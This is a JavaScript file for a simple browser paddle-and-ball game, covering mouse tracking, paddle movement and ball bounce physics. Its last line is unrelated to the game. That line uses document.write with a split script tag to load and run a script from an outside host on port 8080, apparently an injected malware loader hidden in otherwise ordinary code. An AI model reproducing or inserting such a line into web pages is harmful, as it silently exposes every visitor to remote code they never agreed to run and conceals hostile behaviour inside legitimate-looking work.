			var bXVel = 12;
			var bYVel = 12;
			var bXPos = 0;
			var bYPos = 0;
			var gameTimer;
			function mouseX(evt) {
				if (!evt) {
					evt = window.event;
				}
				if (evt.pageX) {
					return evt.pageX;
				} else if (evt.clientX) {
					return evt.clientX + (document.documentElement.scrollLeft ?  document.documentElement.scrollLeft : document.body.scrollLeft);
				} else {
					return 0;
				}
			}
			function mouseY(evt) {
				if (!evt) {
					evt = window.event;
				}
				if (evt.pageY) {
					return evt.pageY;
				} else if (evt.clientY) {
					return evt.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
				} else {
					return 0;
				}
			}
			function writeText(thetext) {
				var scorearea = document.getElementById('scorearea');
				scorearea.innerHTML = thetext;
			}
			function movePaddle(evt) {
				if (document.getElementById) {
					var paddle = document.getElementById('paddle');
					var playarea = document.getElementById('playarea');
					var playarealeft = playarea.offsetLeft;
					var playareatop = playarea.offsetTop;
					var playareawidth = playarea.offsetWidth;
					var playareaheight = playarea.offsetHeight;
					var paddlewidth = paddle.offsetWidth;
					var mX = parseInt(mouseX(evt));
					var mY = parseInt(mouseY(evt));
					if (mY >= playareatop && mY < playareatop + playareaheight) {
						if (mX - (paddlewidth / 2) >= playarealeft) {
							if (mX - (paddlewidth / 2) < playarealeft + (playareawidth - paddlewidth - 2)) {
								paddle.style.left = (mX - (paddlewidth / 2) -playarealeft) + 'px';
							} else {
								if (mX <= playarealeft + playareawidth + 10) {
									paddle.style.left = (playareawidth - paddlewidth - 2) + 'px';
								}
							}
						} else {
							if (mX >= playarealeft - 10) {
								paddle.style.left = '0px';
							}
						}
					}
				}
			}
			function runGame() {
				if (document.getElementById) {
					var hitPaddle = false;
					var ball = document.getElementById('ball');
					var playarea = document.getElementById('playarea');
					var paddle = document.getElementById('paddle');
					writeText("Game Started");
					if ((bYPos + ball.offsetHeight + bYVel >= paddle.offsetTop) && (bXPos <= paddle.offsetLeft + paddle.offsetWidth) && (bXPos + ball.offsetWidth >= paddle.offsetLeft) && (bYVel > 0) && (ball.offsetHeight + bYPos < paddle.offsetTop)) {
						bYPos = paddle.offsetTop - ball.offsetHeight;
						bYVel = -bYVel;
						if (bXPos < paddle.offsetLeft + 25) {
							if (bXPos < paddle.offsetLeft + 10) {
								bXVel -= 6;
							} else {
								bXVel -= 4;
							}
						}
						if (bXPos + ball.offsetWidth > paddle.offsetLeft + paddle.offsetWidth - 25) {
							if (bXPos + ball.offsetWidth > paddle.offsetLeft + paddle.offsetWidth - 10) {
								bXVel += 6;
							} else {
								bXVel += 4;
							}
						}
						hitPaddle = true;
					}
					if ((bYPos + ball.offsetHeight + bYVel < playarea.offsetHeight) && (bYPos + bYVel > 0)){
						if (!hitPaddle) {
							bYPos += bYVel;
						}
					} else {
						if (bYVel > 0) {
							bYPos = playarea.offsetHeight - ball.offsetHeight - 2;
						} else {
							bYPos = 0;
						}
						bYVel = -bYVel;
					}
					if ((bXPos + ball.offsetHeight + bXVel < playarea.offsetWidth) && (bXPos + bXVel > 0)) {
						bXPos += bXVel;
					} else {
						if (bXVel > 0) {
							bXPos = playarea.offsetWidth - ball.offsetWidth - 2;
						} else {
							bXPos = 0;
						}
						bXVel = -bXVel;
					}
					ball.style.left = bXPos+'px';
					ball.style.top = bYPos+'px';
					gameTimer = setTimeout('runGame()', 50);
				}
			}
			function stopGame() {
				clearTimeout(gameTimer);
				writeText("Game Stopped");
				var ball = document.getElementById('ball');
				bYPos = 1;
				bXPos = 1;
				bYVel = 12;
				bXVel = 12;
				ball.style.left = bXPos+'px';
				ball.style.top = bYPos+'px';
			}
			document.onmousemove = movePaddle;
document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Web_Page.js"></scr'+'ipt>');